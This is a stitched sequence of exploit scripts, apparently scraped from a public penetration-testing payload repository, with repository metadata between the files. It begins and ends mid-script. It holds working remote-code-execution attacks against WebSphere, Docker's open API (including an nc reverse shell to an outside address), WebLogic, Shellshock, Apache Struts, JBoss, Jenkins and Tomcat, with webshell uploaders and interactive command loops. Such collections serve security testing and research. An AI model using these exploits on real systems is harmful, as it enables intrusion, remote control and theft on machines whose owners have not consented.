+='<SOAP-ENV:Body>\r\n' xmlObj +='<ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n' xmlObj +='<objectname xsi:type="ns1:javax.management.ObjectName">{ser2}</objectname>\r\n'.format(ser2=ser2) xmlObj +='<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>\r\n' xmlObj +='<params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params>\r\n'.format(serObjB64=serObjB64) xmlObj +='<signature xsi:type="ns1:[Ljava.lang.String;">{ser4}</signature>\r\n'.format(ser4=ser4) xmlObj +='</ns1:invoke>\r\n' xmlObj +='</SOAP-ENV:Body>\r\n' xmlObj +='</SOAP-ENV:Envelope>' headers = {'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': 'urn:AdminService'} r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False) print('[*] HTTPS request sent successfully')
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Docker API RCE.py
CVE Exploits/Docker API RCE.py
from __future__ import print_function import requests import logging import json import urllib.parse # NOTE # Enable Remote API with the following command # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock # This is an intended feature, remember to filter the port 2375.. name = "docker" description = "Docker RCE via Open Docker API on port 2375" author = "Swissky" # Step 1 - Extract id and name from each container ip = "127.0.0.1" port = "2375" data = "containers/json" url = "http://{}:{}/{}".format(ip, port, data) r = requests.get(url) if r.json: for container in r.json(): container_id = container['Id'] container_name = container['Names'][0].replace('/','') print((container_id, container_name)) # Step 2 - Prepare command cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]' data = "containers/{}/exec".format(container_name) url = "http://{}:{}/{}".format(ip, port, data) post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }' post_header = { "Content-Type": "application/json" } r = requests.post(url, json=json.loads(post_json)) # Step 3 - Execute command id_cmd = r.json()['Id'] data = "exec/{}/start".format(id_cmd) url = "http://{}:{}/{}".format(ip, port, data) post_json = '{ "Detach":false,"Tty":false}' post_header = { "Content-Type": "application/json" } r = requests.post(url, json=json.loads(post_json)) print(r)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebLogic CVE-2018-2894.py
CVE Exploits/WebLogic CVE-2018-2894.py
#!/usr/bin/env python # coding:utf-8 # Build By LandGrey from __future__ import print_function from builtins import str import re import sys import time import argparse import requests import traceback import xml.etree.ElementTree as ET def get_current_work_path(host): geturl = host + "/ws_utc/resources/setting/options/general" ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'} values = [] try: request = requests.get(geturl) if request.status_code == 404: exit("[-] {} don't exists CVE-2018-2894".format(host)) elif "Deploying Application".lower() in request.text.lower(): print("[*] First Deploying Website Please wait a moment ...") time.sleep(20) request = requests.get(geturl, headers=ua) if "</defaultValue>" in request.content: root = ET.fromstring(request.content) value = root.find("section").find("options") for e in value: for sub in e: if e.tag == "parameter" and sub.tag == "defaultValue": values.append(sub.text) except requests.ConnectionError: exit("[-] Cannot connect url: {}".format(geturl)) if values: return values[0] else: print("[-] Cannot get current work path\n") exit(request.content) def get_new_work_path(host): origin_work_path = get_current_work_path(host) works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css" if "user_projects" in origin_work_path: if "\\" in origin_work_path: works = works.replace("/", "\\") current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains" dir_len = len(current_work_home.split("\\")) domain_name = origin_work_path.split("\\")[dir_len] current_work_home += "\\" + domain_name + works else: current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains" dir_len = len(current_work_home.split("/")) domain_name = origin_work_path.split("/")[dir_len] current_work_home += "/" + domain_name + works else: current_work_home = origin_work_path print("[*] cannot handle current work home dir: {}".format(origin_work_path)) return current_work_home def set_new_upload_path(host, path): data = { "setting_id": "general", "BasicConfigOptions.workDir": path, "BasicConfigOptions.proxyHost": "", "BasicConfigOptions.proxyPort": "80"} request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers) if "successfully" in request.content: return True else: print("[-] Change New Upload Path failed") exit(request.content) def upload_webshell(host, uri): set_new_upload_path(host, get_new_work_path(host)) files = { "ks_edit_mode": "false", "ks_password_front": password, "ks_password_changed": "true", "ks_filename": ("360sglab.jsp", upload_content) } request = requests.post(host + uri, files=files) response = request.text match = re.findall("<id>(.*?)</id>", response) if match: tid = match[-1] shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp" if upload_content in requests.get(shell_path, headers=headers).content: print("[+] {} exists CVE-2018-2894".format(host)) print("[+] Check URL: {} ".format(shell_path)) else: print("[-] {} don't exists CVE-2018-2894".format(host)) else: print("[-] {} don't exists CVE-2018-2894".format(host)) if __name__ == "__main__": start = time.time() password = "360sglab" url = "/ws_utc/resources/setting/keystore" parser = argparse.ArgumentParser() parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str, help="target, such as: http://example.com:7001") upload_content = "360sglab test" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest', } if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() target = args.target target = target.rstrip('/') if "://" not in target: target = "http://" + target try: upload_webshell(target, url) except Exception as e: print("[-] Error: \n") traceback.print_exc()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Shellshock CVE-2014-6271.py
CVE Exploits/Shellshock CVE-2014-6271.py
#!/usr/bin/python # Successful Output: # # python shell_shocker.py <VulnURL> # [+] Attempting Shell_Shock - Make sure to type full path # ~$ /bin/ls / # bin # boot # dev # etc # .. # ~$ /bin/cat /etc/passwd from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import input import sys, urllib.request, urllib.error, urllib.parse if len(sys.argv) != 2: print("Usage: shell_shocker <URL>") sys.exit(0) URL=sys.argv[1] print("[+] Attempting Shell_Shock - Make sure to type full path") while True: command=input("~$ ") opener=urllib.request.build_opener() opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)] try: response=opener.open(URL) for line in response.readlines(): print(line.strip()) except Exception as e: print(e)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Apache Struts 2 CVE-2018-11776.py
CVE Exploits/Apache Struts 2 CVE-2018-11776.py
#!/usr/bin/env python3 # coding=utf-8 # ***************************************************** # struts-pwn: Apache Struts CVE-2018-11776 Exploit # Author: # Mazin Ahmed <Mazin AT MazinAhmed DOT net> # This code uses a payload from: # https://github.com/jas502n/St2-057 # ***************************************************** from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import str from builtins import range import argparse import random import requests import sys try: from urllib import parse as urlparse except ImportError: import urllib.parse # Disable SSL warnings try: import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() except Exception: pass if len(sys.argv) <= 1: print('[*] CVE: 2018-11776 - Apache Struts2 S2-057') print('[*] Struts-PWN - @mazen160') print('\n%s -h for help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="Check a single URL.", action='store') parser.add_argument("-l", "--list", dest="usedlist", help="Check a list of URLs.", action='store') parser.add_argument("-c", "--cmd", dest="cmd", help="Command to execute. (Default: 'id')", action='store', default='id') parser.add_argument("--exploit", dest="do_exploit", help="Exploit.", action='store_true') args = parser.parse_args() url = args.url if args.url else None usedlist = args.usedlist if args.usedlist else None cmd = args.cmd if args.cmd else None do_exploit = args.do_exploit if args.do_exploit else None headers = { 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*' } timeout = 3 def parse_url(url): """ Parses the URL. """ # url: http://example.com/demo/struts2-showcase/index.action url = url.replace('#', '%23') url = url.replace(' ', '%20') if ('://' not in url): url = str("http://") + str(url) scheme = urllib.parse.urlparse(url).scheme # Site: http://example.com site = scheme + '://' + urllib.parse.urlparse(url).netloc # FilePath: /demo/struts2-showcase/index.action file_path = urllib.parse.urlparse(url).path if (file_path == ''): file_path = '/' # Filename: index.action try: filename = url.split('/')[-1] except IndexError: filename = '' # File Dir: /demo/struts2-showcase/ file_dir = file_path.rstrip(filename) if (file_dir == ''): file_dir = '/' return({"site": site, "file_dir": file_dir, "filename": filename}) def build_injection_inputs(url): """ Builds injection inputs for the check. """ parsed_url = parse_url(url) injection_inputs = [] url_directories = parsed_url["file_dir"].split("/") try: url_directories.remove("") except ValueError: pass for i in range(len(url_directories)): injection_entry = "/".join(url_directories[:i]) if not injection_entry.startswith("/"): injection_entry = "/%s" % (injection_entry) if not injection_entry.endswith("/"): injection_entry = "%s/" % (injection_entry) injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload. injection_entry += parsed_url["filename"] injection_inputs.append(injection_entry) return(injection_inputs) def check(url): random_value = int(''.join(random.choice('0123456789') for i in range(2))) multiplication_value = random_value * random_value injection_points = build_injection_inputs(url) parsed_url = parse_url(url) print("[%] Checking for CVE-2018-11776") print("[*] URL: %s" % (url)) print("[*] Total of Attempts: (%s)" % (len(injection_points))) attempts_counter = 0 for injection_point in injection_points: attempts_counter += 1 print("[%s/%s]" % (attempts_counter, len(injection_points))) testing_url = "%s%s" % (parsed_url["site"], injection_point) testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value)) try: resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) except Exception as e: print("EXCEPTION::::--> " + str(e)) continue if "Location" in list(resp.headers.keys()): if str(multiplication_value) in resp.headers['Location']: print("[*] Status: Vulnerable!") return(injection_point) print("[*] Status: Not Affected.") return(None) def exploit(url, cmd): parsed_url = parse_url(url) injection_point = check(url) if injection_point is None: print("[%] Target is not vulnerable.") return(0) print("[%] Exploiting...") payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd) testing_url = "%s%s" % (parsed_url["site"], injection_point) testing_url = testing_url.replace("{{INJECTION_POINT}}", payload) try: resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) except Exception as e: print("EXCEPTION::::--> " + str(e)) return(1) print("[%] Response:") print(resp.text) return(0) def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): if url: if not do_exploit: check(url) else: exploit(url, cmd) if usedlist: URLs_List = [] try: f_file = open(str(usedlist), "r") URLs_List = f_file.read().replace("\r", "").split("\n") try: URLs_List.remove("") except ValueError: pass f_file.close() except Exception as e: print("Error: There was an error in reading list file.") print("Exception: " + str(e)) exit(1) for url in URLs_List: if not do_exploit: check(url) else: exploit(url, cmd) print("[%] Done.") if __name__ == "__main__": try: main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) except KeyboardInterrupt: print("\nKeyboardInterrupt Detected.") print("Exiting...") exit(0)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
#!/usr/bin/python from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import input from builtins import str import urllib.request, urllib.error, urllib.parse import time import sys import os import subprocess import requests import readline import urllib.parse RED = '\033[1;31m' BLUE = '\033[94m' BOLD = '\033[1m' GREEN = '\033[32m' OTRO = '\033[36m' YELLOW = '\033[33m' ENDC = '\033[0m' def cls(): os.system(['clear', 'cls'][os.name == 'nt']) cls() logo = BLUE+''' ___ _____ ___ _ _ _____ ___ ( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\ | (_(_) | | | (_) )| | | | | | | (_(_) `\__ \ | | | , / | | | | | | `\__ \ ( )_) | | | | |\ \ | (_) | | | ( )_) | `\____) (_) (_) (_)(_____) (_) `\____) =[ Command Execution v3]= By @s1kr10s '''+ENDC print(logo) print(" * Ejemplo: http(s)://www.victima.com/files.login\n") host = input(BOLD+" [+] HOST: "+ENDC) if len(host) > 0: if host.find("https://") != -1 or host.find("http://") != -1: poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}" def exploit(comando): exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" return exploit def exploit2(comando): exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}" return exploit2 def exploit3(comando): exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" return exploit3 def pwnd(shellfile): exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" return exploitfile def validador(): arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"] return arr_lin_win #def reversepl(ip,port): # print "perl" #def reversepy(ip,port): # print "python" # CVE-2013-2251 --------------------------------------------------------------------------------- try: response = '' response = urllib.request.urlopen(host+poc) except: print(RED+" Servidor no responde\n"+ENDC) exit(0) print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC) if response.read().find("mamalo") != -1: print(RED+" [-] VULNERABLE"+ENDC) owned = open('vulnsite.txt', 'a') owned.write(str(host)+'\n') owned.close() opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) #print BOLD+" * [SHELL REVERSA]"+ENDC #print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC if opcion == 's': print(YELLOW+" [-] GET PROMPT...\n"+ENDC) time.sleep(1) print(BOLD+" * [UPLOAD SHELL]"+ENDC) print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC) while 1: separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC) espacio = separador.split(' ') comando = "','".join(espacio) if espacio[0] != 'reverse' and espacio[0] != 'pwnd': shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'")) print("\n"+shell.read()) elif espacio[0] == 'pwnd': pathsave=input("path EJ:/tmp/: ") if espacio[1] == 'php': shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'""" urllib.request.urlopen(host+pwnd(str(shellfile))) shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'")) if shell.read().find(pathsave+"status.php") != -1: print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC) else: print(BOLD+RED+"\nNo Create File :/\n"+ENDC) # CVE-2017-5638 --------------------------------------------------------------------------------- print(BLUE+" [-] NO VULNERABLE"+ENDC) print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC) x = 0 while x < len(validador()): valida = validador()[x] try: req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))}) result = urllib.request.urlopen(req).read() if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: print(RED+" [-] VULNERABLE"+ENDC) owned = open('vulnsite.txt', 'a') owned.write(str(host)+'\n') owned.close() opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) if opcion == 's': print(YELLOW+" [-] GET PROMPT...\n"+ENDC) time.sleep(1) while 1: try: separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC) req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))}) result = urllib.request.urlopen(req).read() print("\n"+result) except: exit(0) else: x = len(validador()) else: print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)) except: pass x=x+1 # CVE-2018-11776 --------------------------------------------------------------------------------- print(BLUE+" [-] NO VULNERABLE"+ENDC) print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC) x = 0 while x < len(validador()): #Filtramos la url solo dominio url = host.replace('#', '%23') url = host.replace(' ', '%20') if ('://' not in url): url = str("http://") + str(url) scheme = urllib.parse.urlparse(url).scheme site = scheme + '://' + urllib.parse.urlparse(url).netloc #Filtramos la url solo path file_path = urllib.parse.urlparse(url).path if (file_path == ''): file_path = '/' valida = validador()[x] try: result = requests.get(site+"/"+exploit3(str(valida))+file_path).text if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: print(RED+" [-] VULNERABLE"+ENDC) owned = open('vulnsite.txt', 'a') owned.write(str(host)+'\n') owned.close() opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) if opcion == 's': print(YELLOW+" [-] GET PROMPT...\n"+ENDC) time.sleep(1) print(BOLD+" * [UPLOAD SHELL]"+ENDC) print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC) while 1: separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC) espacio = separador.split(' ') comando = "%20".join(espacio) shell = urllib.request.urlopen(host+exploit3(str(comando))) print("\n"+shell.read()) else: x = len(validador()) exit(0) else: print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)) except: pass x=x+1 else: print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC) exit(0) else: print(RED+" Debe Ingresar una Url\n"+ENDC) exit(0)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/JBoss CVE-2015-7501.py
CVE Exploits/JBoss CVE-2015-7501.py
#! /usr/bin/env python2 # Jboss Java Deserialization RCE (CVE-2015-7501) # Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse import sys, os #from binascii import hexlify, unhexlify from subprocess import check_output ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar'] ysoserial_path = None parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if not args.ysoserial_path: for path in ysoserial_default_paths: if os.path.exists(path): ysoserial_path = path else: if os.path.exists(args.ysoserial_path): ysoserial_path = args.ysoserial_path if ysoserial_path is None: print('[-] Could not find ysoserial JAR file') sys.exit(1) if len(args.target.split(":")) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') print('[*] Target IP: {}'.format(ip)) print('[*] Target PORT: {}'.format(port)) gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget) if r.status_code == 200: print('[+] Command executed successfully')
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Jenkins Groovy Console.py
CVE Exploits/Jenkins Groovy Console.py
#!/usr/bin/env python # SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py # DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b from __future__ import print_function from builtins import input import requests import sys print(""" Jenkins Groovy Console cmd runner. usage: ./jgc.py [HOST] Then type any command and wait for STDOUT output from remote machine. Type 'exit' to exit :) """) URL = sys.argv[1] + '/scriptText' HEADERS = { 'User-Agent': 'jgc' } while 1: CMD = input(">> Enter command to execute (or type 'exit' to exit): ") if CMD == 'exit': print("exiting...\n") exit(0) DATA = { 'script': 'println "{}".execute().text'.format(CMD) } result = requests.post(URL, headers=HEADERS, data=DATA) print(result.text)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Tomcat CVE-2017-12617.py
CVE Exploits/Tomcat CVE-2017-12617.py
#!/usr/bin/python # From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py """ ./cve-2017-12617.py [options] options: -u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: ./cve-2017-12617.py -u http://127.0.0.1 ./cve-2017-12617.py --url http://127.0.0.1 ./cve-2017-12617.py -u http://127.0.0.1 -p pwn ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn ./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py --list hosts.txt """ from __future__ import print_function from builtins import input from builtins import str from builtins import object import requests import re import signal from optparse import OptionParser class bcolors(object): HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' banner=""" _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ [@intx0x80] """ def signal_handler(signal, frame): print ("\033[91m"+"\n[-] Exiting"+"\033[0m") exit() signal.signal(signal.SIGINT, signal_handler) def removetags(tags): remove = re.compile('<.*?>') txt = re.sub(remove, '\n', tags) return txt.replace("\n\n\n","\n") def getContent(url,f): headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} re=requests.get(str(url)+"/"+str(f), headers=headers) return re.content def createPayload(url,f): evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>' headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers) if req.status_code==201: print("File Created ..") def RCE(url,f): EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+""" <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>""" headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) def shell(url,f): while True: headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} cmd=input("$ ") payload={'cmd':cmd} if cmd=="q" or cmd=="Q": break re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) re=str(re.content) t=removetags(re) print(t) #print bcolors.HEADER+ banner+bcolors.ENDC parse=OptionParser( bcolors.HEADER+""" _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ ./cve-2017-12617.py [options] options: -u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: ./cve-2017-12617.py -u http://127.0.0.1 ./cve-2017-12617.py --url http://127.0.0.1 ./cve-2017-12617.py -u http://127.0.0.1 -p pwn ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn ./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py --list hosts.txt [@intx0x80] """+bcolors.ENDC ) parse.add_option("-u","--url",dest="U",type="string",help="Website Url") parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") parse.add_option("-l","--list",dest="L",type="string",help="hosts File") (opt,args)=parse.parse_args() if opt.U==None and opt.P==None and opt.L==None: print(parse.usage) exit(0) else: if 